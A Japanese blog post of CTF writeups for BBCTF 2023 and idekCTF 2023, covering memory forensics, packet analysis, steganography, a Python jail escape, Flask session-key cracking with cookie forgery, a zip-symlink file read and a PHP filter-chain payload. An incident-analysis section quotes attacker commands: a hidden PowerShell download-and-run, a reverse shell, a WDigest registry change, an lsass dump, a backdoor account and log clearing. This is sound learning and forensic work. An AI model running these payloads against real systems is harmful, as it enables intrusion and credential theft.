はまやんはまやんはまやん

hamayanhamayan's blog

Byte Bandits CTF 2023 (BBCTF 2023) Writeups

[Forensic] Imageception

stringsで見てみるとWindowsのメモリダンプっぽいので、Volatility 3でwindows.infoしてみる。

$ python3 ~/.opt/volatility3/vol.py -f imageception.raw windows.info
Kernel Base     0xf80778a18000
DTB     0x1aa000
Symbols file:///home/eric/.opt/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/68A17FAF3012B7846079AEECDBE0A583-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf80779627398
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      1
SystemTime      2022-12-16 08:28:29
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Wed Jun 28 04:14:26 1995

いい感じに解析できている。Windows 10のメモリダンプっぽい。 windows.pstreeで怪しいものがある。

548  472 winlogon.exe    0xa08f6cf1c080  6   -   1   False   2022-12-16 08:25:52.000000  N/A
* 884   548 dwm.exe 0xa08f6cd80080  17  -   1   False   2022-12-16 08:25:53.000000  N/A
* 3012  548 userinit.exe    0xa08f6e699300  0   -   1   False   2022-12-16 08:26:01.000000  2022-12-16 08:26:25.000000 
** 3044 3012    explorer.exe    0xa08f6e6d6300  86  -   1   False   2022-12-16 08:26:01.000000  N/A
*** 4880    3044    SecurityHealth  0xa08f6e5a22c0  6   -   1   False   2022-12-16 08:26:16.000000  N/A
*** 4448    3044    mspaint.exe 0xa08f6e45b080  8   -   1   False   2022-12-16 08:27:45.000000  N/A
*** 5012    3044    msedge.exe  0xa08f6ed07080  0   -   1   False   2022-12-16 08:26:17.000000  2022-12-16 08:27:40.000000 
**** 4328   5012    msedge.exe  0xa08f6f44f080  41  -   1   False   2022-12-16 08:27:39.000000  N/A
***** 4600  4328    msedge.exe  0xa08f6f3e0080  12  -   1   False   2022-12-16 08:27:39.000000  N/A
***** 5444  4328    msedge.exe  0xa08f6f1a4080  9   -   1   False   2022-12-16 08:27:39.000000  N/A
***** 5164  4328    msedge.exe  0xa08f6ef07080  7   -   1   False   2022-12-16 08:27:39.000000  N/A
***** 5708  4328    msedge.exe  0xa08f6f4da080  16  -   1   False   2022-12-16 08:27:39.000000  N/A
*** 5256    3044    DumpIt.exe  0xa08f6f404080  2   -   1   True    2022-12-16 08:28:27.000000  N/A
**** 4644   5256    conhost.exe 0xa08f6ebb1080  5   -   1   False   2022-12-16 08:28:27.000000  N/A

mspaint.exeが開かれている…
windows.cmdlineを実行してみると

4448 mspaint.exe "C:\Windows\system32\mspaint.exe" "C:\Users\bbctf\Desktop\imageception.png"

この画像を取得することはできないだろうか。
windows.filescanを見てみよう。

0xa08f6ca23200   \Users\bbctf\Desktop\imageception.png   216

ありますね…

python3 ~/.opt/volatility3/vol.py -f imageception.raw windows.dumpfiles --pid 4448 --virtaddr 0xa08f6ca23200 でファイルが落とせてくるので、適当にmv file.0xa08f6ca23200.0xa08f6c9d1350.DataSectionObject.imageception.png.dat imageception.pngとして開くとフラグが書いてある。

[Forensic] Random Requests

プロトコル階層統計を使って記録パケット種別を把握して色々眺めるとhttp && ip.src_host == 10.0.2.15で特徴的なリクエストが見られる。
GET /flag=の後に0か1か%20が記録されている。
時系列順に全部取ってきて、%20を空白ではなく改行にしてみると以下のような感じ。

01011010
01101101
01111000
01101000
01011010
00110011
01110100
...

バイト列を2進数表記したものに見える。
CyberChefのFrom Binaryで変換すると ZmxhZ3tuT1RfU29fcjRuZG9tX2g3N3BfcjNxdTM1dHN9 となる。
雑にCyberChefのMagicを使うとbase64とのことなので、From Base64も追加するとフラグが出てくる。

[Forensic] Vastness of Space

色々試すとexiftoolで情報が出てくる。

$ exiftool Empty_Space.jpg
...
XP Comment                      : The password is "BBCTF"
...

steghideを使うとCSVファイルが得られる。

$ steghide extract -sf Empty_Space.jpg -p BBCTF -xf out.bin
wrote extracted data to "out.bin".

$ file out.bin
out.bin: CSV text

xy座標っぽいのでそれをドットに変換して画像にしてみる。

from PIL import Image

picture = Image.new("RGB", (300, 300), "white")
pixels = picture.load()

with open('out.bin') as fp:
    for line in fp.readlines():
        x = int(line.split(',')[0])
        y = int(line.split(',')[1])
        #print(f'{x},{y}')
        pixels[x,y] = (0, 0, 0, 0)

picture.save("flag.png", "PNG")

するとQRコードが出てくるので復号するとフラグが出てくる。

[misc] Meaning of Life

数字を入れるとシークされたいつもの動画へのURLのbase64エンコード物がもらえる。
何も怪しいところがないので数字を全探索してみる。

import requests
import re
import time

for idx in range(1, 100):
    time.sleep(3)
    r = requests.post('http://misc.bbctf.fluxus.co.in:2002/', data={'key_num': idx}).text
    m = re.findall(r'<p><b>Hash Value : </b> ([^<]*) </p>', r)
    print(f'{idx} -> {m[0]}')

これを動かすと42で雰囲気が変わる。

42 -> aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1GSVViUkprS2psRQ==

実際動画も変わっていて、ピーという音が鳴る動画になる。
雰囲気はモールス信号…

頑張って復号するとCIC4D4FLI35となり、これをflag{}でくるむと正答。

[misc] Peer Pressure

クリックするといつもの動画に飛ばされる。
Burpの履歴を見るとGET /aGVhZA==?が呼ばれている。
aGVhZA==はbase64デコードするとHEADになるので、HEADで呼べばいいのか?
HEAD /aGVhZA==?とすると、レスポンスヘッダーのpngとしてbase64エンコードされた何かが送られてきた。
デコードしてみると普通のpngファイル。

適当にもってきて、試しにexiftoolをしてみるとフラグがあった。
exiftool a.png | grep flag

[misc] Virus Attack

netcatでつないでみるとpythonインタプリターっぽいものが出てくる。

>>> id
<built-in function id>

となるのでpythonインタプリターなのだろう。

>>> system
Sorry You cant write system

怒られた。色々打ってみるとブラックリストがあるみたい。
以下見た禁止文字。多分他にもいろいろある。

system
read
os
import
S

適当にガチャガチャやっているとLFIできることが分かった。
ファイル名をエスパーするとフラグが得られる。
set(open('flag.txt'))

[web] Hi-Score

1秒間に100回クリックできればいいらしい。
クリックしてみると特にリクエストは飛んでいない。
/static/TheScript.jsで色々処理がなされているみたい。

クリックしたときのコードは以下のような感じ。

function Clicks() {
    var _0x287a2f = _0x1a8b;
    if (klicks == 0x0) end = new Date()[_0x287a2f(0x1f5)]();
    (end1 = new Date()[_0x287a2f(0x1f5)]() - end),
        (klicks += 0x1),
        (score = (klicks / end1) * 0x3e8);
    if (score == Infinity) score = 0x0;
    (score = score[_0x287a2f(0x204)](0x3)),
        (document[_0x287a2f(0x1f4)](_0x287a2f(0x1fd))["innerHTML"] =
            _0x287a2f(0x207) + score + _0x287a2f(0x1fc));
    if (score >= 0x64) _0x125e1a();
    else document["getElementById"](_0x287a2f(0x1f8))[_0x287a2f(0x200)] = "";
    function _0x125e1a() {
        var _0x162e81 = _0x287a2f;
        document["getElementById"](_0x162e81(0x1f8))[_0x162e81(0x200)] =
            _0x162e81(0x1fe);
    }
}

特に注目したいのがif (score >= 0x64) _0x125e1a();の部分。
得点が一定以上なら0x125e1aが呼ばれる。
ここで使われている
0x162e81は0x287a2fであり、冒頭を見ると0x1a8bなので、
実行されるのは以下のコードとなる。

document["getElementById"](_0x1a8b(0x1f8))[_0x1a8b(0x200)] = _0x1a8b(0x1fe);

これをChrome Developer ToolsのConsoleで直接動かしてやればフラグへのリンクが出てくる。

[web] Improper Error Handling

適当に入れてみるとError: Length too shortと言われる。
ちょっと伸ばしてみよう。

GET /api/error?length=111111111111111111111111111111111111111111111111 とするとINDhKQiOO28IpK0vqn9xOjc1QOWjL2pXN31IsOTeCOoFT4qE
なんだこれは

適当に長さを調整するとフラグが出てくる
GET /api/error?length=11111111111111111111111111111111

idekCTF 2023 Writeup

[web] Readme

/just-read-itというエンドポイントが用意されている。
バリデーションチェックが通るようにjsonを投げるとフラグがもらえるようだ。

randomDataに乱数が入っていて、一部[12625:]の領域にパスワードハッシュが格納されている。
ordersには整数の配列を指定可能で、指定された数だけrandomDataからデータを取り出してくれる。
ordersによる取り出しが終わった後に32bytes分取り出しを行ってそれがパスワードハッシュと一致すればフラグがもらえる。
つまり、ordersによる取り出しで12625bytes分取り出せればいいのだが、これは個数制限があってできないように見える。

色々実験していると

func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
    ...
    if size >= 100 {
        reader = bufio.NewReader(reader)
    }

ここが原因で何やら不思議なことが起きている。
randomDataはシードが固定なので常に同じバイト列が出てくるのを利用してどれだけバッファのseekが進んでいるかを確認してみる。
{"orders":[100,1]}のようにしてみると、101バイトシークが進むはずなのだが、4097バイト進む。
理由はさっぱりわからない。
{"orders":[100,100,1]}とすると8193バイト進む。
なので100を指定すると4096バイト分進めることができるらしい。
12625バイト分進めたいので、40963=12288であと337バイト。993=297であと40バイト。
つまり、12625 = 4096*3 + 99*3 + 40なので{"orders":[100,100,100,99,99,99,40]}でフラグ獲得。

[web] SimpleFileServer

zipにシンボリックリンクを入れておくテクを使えばLFIができる。手順は以下の通り。

  1. ln -s /tmp/database.db database.db みたいにLFIしたいパスでシンボリックリンク作成
  2. zip -ry x.zip database.db でzipにする
  3. x.zipを送って、指定のファイル名を取得してやるとLFI可能

database.dbに面白い情報はないが、admin権限が付いているユーザーはいないということが分かった。
他にもいろいろ取ってみる。

/tmp/server.logからサーバの起動時刻がわかる。

[2023-01-13 23:04:17 +0000] [9] [INFO] Starting gunicorn 20.1.0
[2023-01-13 23:04:17 +0000] [9] [INFO] Listening at: http://0.0.0.0:1337 (9)
[2023-01-13 23:04:17 +0000] [9] [INFO] Using worker: sync
[2023-01-13 23:04:17 +0000] [15] [INFO] Booting worker with pid: 15
[2023-01-13 23:04:17 +0000] [16] [INFO] Booting worker with pid: 16
[2023-01-13 23:04:18 +0000] [17] [INFO] Booting worker with pid: 17

/app/config.pyから隠されていたSECRET_OFFSETの値がわかる。

import random
import os
import time

SECRET_OFFSET = -67198624
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

以上の情報からSECRET_KEYが推測可能。
SECRET_KEYが分かれば、flaskのsessionの改ざんができる。
session情報もcookieに入っているので、改ざんできればadmin権限にも昇格可能。

2023-01-13 23:04:17はunixtimeにすると1673651057なので、この周辺で鍵を作る。
ミリ秒まで考慮していることから適当に探索範囲を選んでやる。

import random
import os
import time

BASE = 1673651057 * 1000
SECRET_OFFSET = -67198624 * 1000
for d in range(-10000,1000):
    random.seed(BASE + SECRET_OFFSET + d)
    print("".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", ""))

出力をdic.txtとして保存しておきflask-unsign -c "eyJhZG1pbiI6bnVsbCwidWlkIjoiZXZpbG1hbiJ9.Y8JMTQ.g-cgmU0kj0uleP9o1WATgycGdGE" --unsign --wordlist dic.txt --no-literal-evalで辞書攻撃すると鍵がわかる。

84787d274d6b7e03d94ce2dcbfe85bf1

flask-unsign --sign --secret 84787d274d6b7e03d94ce2dcbfe85bf1 --cookie "{'admin': True, 'uid': 'evilman'}"Cookieを作ってセットして/flagを踏めば答え。

[web] Paywall

flagファイルを普通に読み出すと読み出せない。
FREEという文字列が入っていれば読み出し可能だが…という問題。

phpのfilterを使えば変換後に任意の文字列を先頭に持ってくることができるので、flagファイルをベースにして変換を実施してFREEを先頭にもってこよう。

synacktiv/php_filter_chain_generatorを使ってpayloadをつくる。

?p=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=flag

とやると、

FREEGyQpQ1BSRU1JVU0gLSBpZGVre1RoNG5rX1VfNF9TdWJzY1IxYjFuZ190MF9vdXJfbjN3c1BIUGFwZXIhfQ+-AD0APQ+-AD0APQ+-AD0APQ+-AD0APQ+AD0APQ-

と出てきた。これを復元するときは、base64デコードするだけでいい。フラグが出てくる。

[forensic] HiddenGem Mixtape 1: Initial Access 解けなかった

HiddenGem.7zの方はパスワードがかかっていて、次の発展問題で使用されるっぽい。
とりあえず、2023-01-07T194857_HiddenGem.zipの方を解析してみる。
解凍するとvhdxファイルがある。FTK Imagerで開く。

「メールで受信した文書ファイル」があるらしいので探す。
C:\Users\IEUser\Documents\Policy Update 2023-01-08T01_37_35+07_00.emlというファイルがある。

X-Pm-Content-Encryption: end-to-end
X-Pm-Origin: internal
Subject: Policy Update
From: Jake Weary <j4k3w34ry-pr0t0nm41l@protonmail.com>
Date: Sat, 07 Jan 2023 18:37:35 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------448eb183760f1434a460fff4086e8bf7
To: blu3dr490n@protonmail.com <blu3dr490n@protonmail.com>
X-Attached: Policy.7z
Message-Id: <H2jIbqy73OjXavbQI-QcTJFDM-sHd7XSZWInhmJpNkrKIyLxX9lhg-hsK9rt2-yzDyz7b4qtIutKVlvPkRbmm3MDIYhovDkRL4hhfwNxlf8=@protonmail.com>
X-Pm-Spamscore: 0
Received: from mail.protonmail.ch by mail.protonmail.ch; Sat, 07 Jan 2023 18:37:47 +0000
X-Original-To: blu3dr490n@protonmail.com
Return-Path: <j4k3w34ry-pr0t0nm41l@protonmail.com>
Delivered-To: blu3dr490n@protonmail.com

-----------------------448eb183760f1434a460fff4086e8bf7
Content-Type: multipart/related;boundary=---------------------fdd96beab7c150c9b923a38cfb866162

-----------------------fdd96beab7c150c9b923a38cfb866162
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

PGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBmb250LXNpemU6IDE0cHg7Ij48c3BhbiBz
...
ICA8L2Rpdj4KPC9kaXY+Cg==
-----------------------fdd96beab7c150c9b923a38cfb866162--
-----------------------448eb183760f1434a460fff4086e8bf7
Content-Type: application/octet-stream; filename="Policy.7z"; name="Policy.7z"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Policy.7z"; name="Policy.7z"

N3q8ryccAAT1emvqsFgBAAAAAAAyAAAAAAAAALAdG4k46ZCmmR+X4XNaj/JiVsvZHhSnUQp78+TU
...
Uw8s3sB0bDq+ZPe73p7jVoeKDICCCgGyNCbCAAA=
-----------------------448eb183760f1434a460fff4086e8bf7--

中身はこんな感じ。
base64encodedのものが2つあるので、中身を見てみる。

<div style="font-family: Arial; font-size: 14px;"><span style="line-height:1.5"><span>We have just completed the Security Baseline for employees and personal computers due to some information leaks, so it is necessary to update the company's information security policy.</span></span><div style="line-height:1.5"><br></div><div style="line-height:1.5"><span>In order to ensure the Company's internal information security, I request you to read and master the content of the policy</span></div><div style="line-height:1.5"><br></div><div style="line-height:1.5"><span>This is a confidential document, so it should be protected</span></div><span style="line-height:1.5"></span><span style="line-height:1.5">Password is Privacy4411@2023!!!</span><br></div><div style="font-family: Arial; font-size: 14px;"><br></div>
<div class="protonmail_signature_block" style="font-family: Arial; font-size: 14px;">
    <div class="protonmail_signature_block-user protonmail_signature_block-empty">
        
            </div>
    
            <div class="protonmail_signature_block-proton">
        Sent with <a target="_blank" href="https://proton.me/" rel="noopener noreferrer">Proton Mail</a> secure email.
    </div>
</div>

片方はメール本文。パスワードはPrivacy4411@2023!!!
もう片方はPolicy.7zというファイル。
解凍するとPolicy.xlsxというファイルが出てくる。
oleid Policy.xlsxでとりあえず解析してみるが、何も出てこない。

7zipでxlsxを解凍して中身を漁ってみると、xl/externalLinks/externalLink1.xmlに面白い記載がある。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<externalLink xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14" xmlns:x14="http://schemas.microsoft.com/office/spreadsheetml/2009/9/main"><ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" ddeService="cmd" ddeTopic="/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\&quot;hxxp://172.21.20[.]96/windowsupdate.ps1\&quot;);IEX $e"><ddeItems><ddeItem name="_xlbgnm.A1" advise="1"/><ddeItem name="StdDocumentName" ole="1" advise="1"/></ddeItems></ddeLink></externalLink>

つまり、cmd /c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\&quot;hxxp://172.21.20[.]96/windowsupdate.ps1\&quot;);IEX $eが実行されている。
感染経路は分かったが、ここ止まりな気がするな。

PowerShellの動きを追っていけばよさそうなので、次はWindowsイベントログを見てみる。
c:\Windows\System32\winevt\を見てみる。
ファイルサイズでソートすると、Sysmonが動いているみたい。
一番ファイルサイズの大きい、Microsoft-Windows-Sysmon%4Operational.evtxをまずは見てみる。
Eric Zimmerman's toolsのEvtxECmdでcsvに変換して適当にみていこう。

.\EvtxECmd.exe -f .\Microsoft-Windows-Sysmon%4Operational.evtx --csv . --csvf sysmon-operational.csv

Event ID        Count
1               2,780
4               9
5               2,473
16              1

コマンド履歴から検索すると2023-01-07 18:49:55に実行履歴が残っていた。
移行タイムゾーンは全部UTC(のはず)。

{"EventData":{"Data":[{"@Name":"RuleName","#text":"-"},{"@Name":"UtcTime","#text":"2023-01-07 18:49:55.186"},{"@Name":"ProcessGuid","#text":"0df7607b-bed3-63b9-5b00-000000001d00"},{"@Name":"ProcessId","#text":"4020"},{"@Name":"Image","#text":"C:\\Windows\\System32\\cmd.exe"},{"@Name":"FileVersion","#text":"6.1.7601.17514 (win7sp1_rtm.101119-1850)"},{"@Name":"Description","#text":"Windows Command Processor"},{"@Name":"Product","#text":"Microsoft® Windows® Operating System"},{"@Name":"Company","#text":"Microsoft Corporation"},{"@Name":"OriginalFileName","#text":"Cmd.Exe"},{"@Name":"CommandLine","#text":"CMD.EXE /c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\\\"http://172.21.20.96/windowsupdate.ps1\\\");IEX $e"},{"@Name":"CurrentDirectory","#text":"C:\\Users\\IEUser\\Documents\\"},{"@Name":"User","#text":"IEWIN7\\IEUser"},{"@Name":"LogonGuid","#text":"0df7607b-be4a-63b9-0f58-040000000000"},{"@Name":"LogonId","#text":"0x4580F"},{"@Name":"TerminalSessionId","#text":"1"},{"@Name":"IntegrityLevel","#text":"High"},{"@Name":"Hashes","#text":"SHA256=DB06C3534964E3FC79D2763144BA53742D7FA250CA336F4A0FE724B75AAFF386"},{"@Name":"ParentProcessGuid","#text":"0df7607b-be7a-63b9-4800-000000001d00"},{"@Name":"ParentProcessId","#text":"4036"},{"@Name":"ParentImage","#text":"C:\\Program Files\\Microsoft Office\\Office15\\EXCEL.EXE"},{"@Name":"ParentCommandLine","#text":"\"C:\\Program Files\\Microsoft Office\\Office15\\EXCEL.EXE\" /dde"},{"@Name":"ParentUser","#text":"IEWIN7\\IEUser"}]}}

ふむ。ユーザーをIEWIN7\IEUserに絞ってみてみよう。
たくさんきな臭いコマンドが実行されている

リバースシェル張ってる
"C:\Users\IEUser\AppData\Local\Temp\SecurityUpdate.exe" 172.21.20.96 4444 -e cmd.exe

まずは調査
whoami
arp -a
ipconfig /all

https://gblogs.cisco.com/jp/2022/09/talos-lazarus-three-rats/
資格情報を平文で保存させるよう強制してあとで回収するためのコマンド
REG   ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

変名しているが、lsassのメモリダンプだろう。
C:\Windows\System32\UpdateAgent.exe  -accepteula -ma lsass.exe C:\Windows\System32\error

不明だが、怪しすぎる
2023-01-07 18:51:43 | C:\Windows\System32\mimikatz.exe
rundll32 C:\Windows\system32\generaltel.dll,RunInUserCxt DSkyyRXNN0SeFNpE.1   Census

バックドア作成。Usersをみてもnetadminは無いので、使われなかったっぽい?
net  user netadmin S3cr3tpa5sw0rD /add

ログ削除
2023-01-07 18:51:56 | wevtutil  cl Security

なんだっけ
rdpclip

~~~~

2023-01-07 19:03:03 | FTKImagerとかKAPEとかでアーティファクト収集している

これだけか。
ハッシュ確認しておく。

3dc5fdf62992e1bd1ab84e05d8e21765667315525d687b3900936dff32bd9de9  error.dmp  
    https://www.virustotal.com/gui/file/3dc5fdf62992e1bd1ab84e05d8e21765667315525d687b3900936dff32bd9de9  
    2023-01-14 03:54:18 UTCに上がってる笑  
61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1  mimikatz.exe  
    https://www.virustotal.com/gui/file/61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1  
    普通にmimikatz  
3e59379f585ebf0becb6b4e06d0fbbf806de28a4bb256e837b4555f1b4245571  SecurityUpdate.exe  
    https://www.virustotal.com/gui/file/3e59379f585ebf0becb6b4e06d0fbbf806de28a4bb256e837b4555f1b4245571  
    セキュリティベンダの判定ではnetcatという線が優勢。呼び出され方やサイズを見てもnetcatっぽい  
5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61  UpdateAgent.exe  
    https://www.virustotal.com/gui/file/5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61  
    procdump

特に他にイベントログに何もない。
error.dmpをmimikatzで開いてみる。

.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )        
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )       
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/       

mimikatz # sekurlsa::minidump ../../error.dmp   
Switch to MINIDUMP : '../../error.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : '../../error.dmp' file for minidump...

Authentication Id : 0 ; 284687 (00000000:0004580f)
Session           : Interactive from 1
User Name         : IEUser
Domain            : IEWIN7
Logon Server      : IEWIN7
Logon Time        : 2023/01/08 3:47:38
SID               : S-1-5-21-1610009768-122519599-941061767-1000
        msv :
         [00010000] CredentialKeys
         * NTLM     : 022156166aa2ab0ce4de16a45098d745
         * SHA1     : ece4d499be6e18ebf42225da680e702abf639db3
         [00000003] Primary
         * Username : IEUser
         * Domain   : IEWIN7
         * NTLM     : 022156166aa2ab0ce4de16a45098d745
         * SHA1     : ece4d499be6e18ebf42225da680e702abf639db3
        tspkg :
        wdigest :
         * Username : IEUser
         * Domain   : IEWIN7
         * Password : idek{crEDentia
        kerberos :
         * Username : IEUser
         * Domain   : IEWIN7
         * Password : (null)
        ssp :
        credman :

...

wdigestの平文パスワードが取れている!なるほどね。

IEWIN7\IEUser:idek{crEDentia
IEWIN7\sshd_server:D@rj33l1ng

以上の認証情報が手に入る。まだ、フラグの先頭か…
とりあえず攻撃者はsshd_serverに横展開可能になったということみたいなので、こっちのユーザーでもうちょっと捜査してみる。

sysmonのoperationalを見てみると、3回接続履歴がある。

  • 2023-01-07 18:46:53
  • 2023-01-07 19:00:40
  • 2023-01-07 20:17:41

最後の1つはFTK Imagerが使われた後なので関係無しと判断して、2回接続履歴がある。

…うーん。分からず。
終了後のDiscordを見ると、powershellの実行内容についてログが残っているので、それを解析すればいいようだ。
ちゃんと全部イベントログを見るべきだったか…?と思ったが、試しにhayabusaを使ってみるとmedで検知されてきた。
こっち使えば良かったな…

2023-01-08 03:50:09.349 +09:00,IEWIN7,PwSh,4104,med,13,Potentially Malicious PwSh,"ScriptBlock: & ( $sHEllid[1]+$sheLLiD[13]+'X')( NEW-obJEct Io.cOMPReSSiON.DEFlAteStrEAM( [SyStem.iO.mEMOrySTream] [SysteM.cOnVerT]::FRomBase64STRINg( 'XVldb9vIFf0rflggCVYJREqy44c+jCKWUbtDZRJr2+FiH7asy8iynEWSLSVhf3x5zzkzMgoYkEWRM3fuxznnXr5s7ofXm+Xfqnd3V949ufre3z99f+O23zeH3+52m+bNh2/vvt6vqqfva/fT1YurF5Orly9urue35b+Lori+mc/+M52Xs3kx+1dxPV1Mf1vM5gvfL9+691sXend01TfXhmVw1Vu3DW7u3gf3s1su3Kpy3bD8p/trdD8Ny5/dqnNb506u7tyH4G7d+8H54M523Q9ucPXabYIr3cq7Jtj36DZu+ehWW7t+dHXlfD+uv3L2/ezq4LxbPrhVdG1vz4Xxfrtv/O7G++rt+LtdX7vGLQ/2+/j82daPg90XXIP1KvsczI7xs7Dnm35cd3y+DeP3cb/Rvrk9N35fuNpr/62L/fKz2Y3nbJ1gz8Vx/eXO9uV5uvE+s6cyu2ZY39lz0a6Pv/d23pNb7c3+ws4b8dze9oW9zbDca73Crre27/jZONk72PW1rV+afR6/R9oz2h8H7j+uO4V/wmgf7Lf7g607h/+1Xgs7vPlhr3X2PL+dy2ndvfn/oHhh3Q1+9xZX2L/BuTrFxz75fAyM02j/2faNWC/YOeAP2Luy+Mt/uO5Gu8wOrDtgHcQzWlxL81srOxr4obLfB8TL8f7Gzml+C2NeMU7JjwPzwNbv6Xf4y/LP/Kn80/mRr2Yv4hHsPGfzP/0czE972GP5O57Pp3MhD2Dfib+P667g96niiPMyr73ywdvzyI828FxjPhzoD57bD/QL/dGpTirlw9rWHZBXw7iP5T/qa2txmaJ+cC48v0AdWJ7bd/PnqlI+4ZyIy+iHzzgv9ulsfZyfdq8t/jPFcSq/TFWnqPPR/wfl40zfH5lv9ntFe5nHj1gH9lge2/e9XX9AnHrbx/ZlfTZWd1bXyuMN1rXv9I9X/vG8iscqyK+GB3a/e+YHq9OgevS0H/GxfTvehzyyOHaqi63OAbyAv4BHFj+r+3Ff1LHhF/CkEg7iuSPiCZwEPpVcx/wVdH77PdfRgvlD/6E+xriirgwPkj/hJ8t7+4z6bnhCnGPeB7OTeYF66O1zAf/BL1F5uM54RVxFnBfEA8vjYHW+t7whzgq/iQMnOw/wpI4XfLP1DR97O6cX/qbzGM4z/i38JDvp1xPzn36Cv6zOdb0RLjD/EGfY73vWD85RV7If9XTWumfEVfWG+iT+Akd84ifUgWP91ZH4UPtL/J34xSnOA+PKvOyE68CZHewN3Id5EnKdM/8i8wLr8brvab8Pic9YFxvdH3vmGfjUzg1eAs4eySNml/EjcSsOwklH/qL/KuGd4TR5huvbPow/zws/n5BP6RN1WPE85O+F4oC88MCfjvmfcdETT81/ygv6xerQ9qvITzV4aScchj1tIK+mugM/AyfIg23I+HSSHjgpX6ArWHdr4kQN/z8oD4Qztr7POqEV/rXi+cbyiPlKnO6JVy3uh9+mzAPxaC9d4RKfWB4ZXhIfgWesqwLnsLjUKa6VeGlr55kqDmfh5SA8Al4Qp/B5zP6yeOP+ijxA3toJRx5Z59yv0fPkhZj1DP0qHDSdBv0F3MP+rKdg+TNl/tl9iC/rVjwZ+4zTB8VrJ16fCaexLngH+JHwUXWU8sFxfeKF6ov8O8X5Ef/EL1vmi51f+NuqzqN0k1cdEV8R16PiPCdOst6Ak+M+0B/QkcKXgTyzQX6JLxHflK86n+JB3QG8f5S/iePIC/Ob9MrAetpIt5DHUadH6b3yOZ6ijoAz9AviNH4nnhn+ZX05SP9iH/BNneouMi+pywr5mfmU9Bdwy1N30a+D9NRROgr5Q/6L0l3mH9YZ4p/ymjgxQ55kfc/4xwtPJ314ki6fMt7UXY0jzhF314q3pw4EL5FfwIusD+pV9Qut8IU4Jx6C36mvac+a8co4DV01Uz+wV/+xk51H6h3xq+LswcMV8xh5z7pj3+GEF+LzpJ9XKf6o4xn7KOZz4/K5oE+JP6kuAv1keNhTf437pM/jBSeDcC+qTvHcTOffEf8YD/Kqy3qMfL9WnxKyzo46TwM8EE+wDs7Cg0fys/wg3b4RLkN/5v6log6rI3EIfRjrpO3p5ygdnPpG6h9vfoa/NiHjGnU08v+iHxPOsJ9DXM/C4QPiOiS8I+/AL+Bx8kcre6CLocOJK9QDUf0M/DaobhfKk5n4f6/4Dvn+rJu2ub6og+SfVdIXve3/QB3NvoD82ikuXvy1lb6Hf47qA9K5HxT3QvEaxCdT8X/SefIL63WjOqGuieybiT/CAfaV1JdR/B/Ur8Rn+E69wbxN/Wql/NyLD5Ie3YpfgnTSVnneEweNH6UbPfhVfQPixHyMWZ/xPvAe+nLxYKpP7ddoPhAVD8YpSNeIT7IusnxmvDfi8yj9w3XXynfkyaN4tqQ/qe9Z59A1B9V3edHBUfXViTc64apXXYlfiXufOWeQPnHMU65nvEec9xeemEmX7KTvSs0b5uoTkx541Pnn3E/2OM0feuEz/NrTDuqX86WPTTjl5V8vf1eZ/zgX6Jnn7Bc15yGfcj5TSffvNafxirvlmfIS/kxzhdS3uv+ro6i+bC889Ipv0tndpQ7Qp0X1w53i67IuS7q11ZyB/ddadRiF52m95P+ofqVj/tZb6YnIOBMPFppPPbt/TX2ScJL5VaifXQiv9tKfJXGUfQT9lnDpwpepnpFP1Lnsg4U3nP9UF95JujUQz7z0dBOybk28/EB9JLt76lbGM+T+vxEeNT11NHWuV51VnNcR/89ZJ/B6SVwgnxM3KuGSeDnPBVTfteaQ5KUd+3Xq1Ua8m/ZrNA/cONXn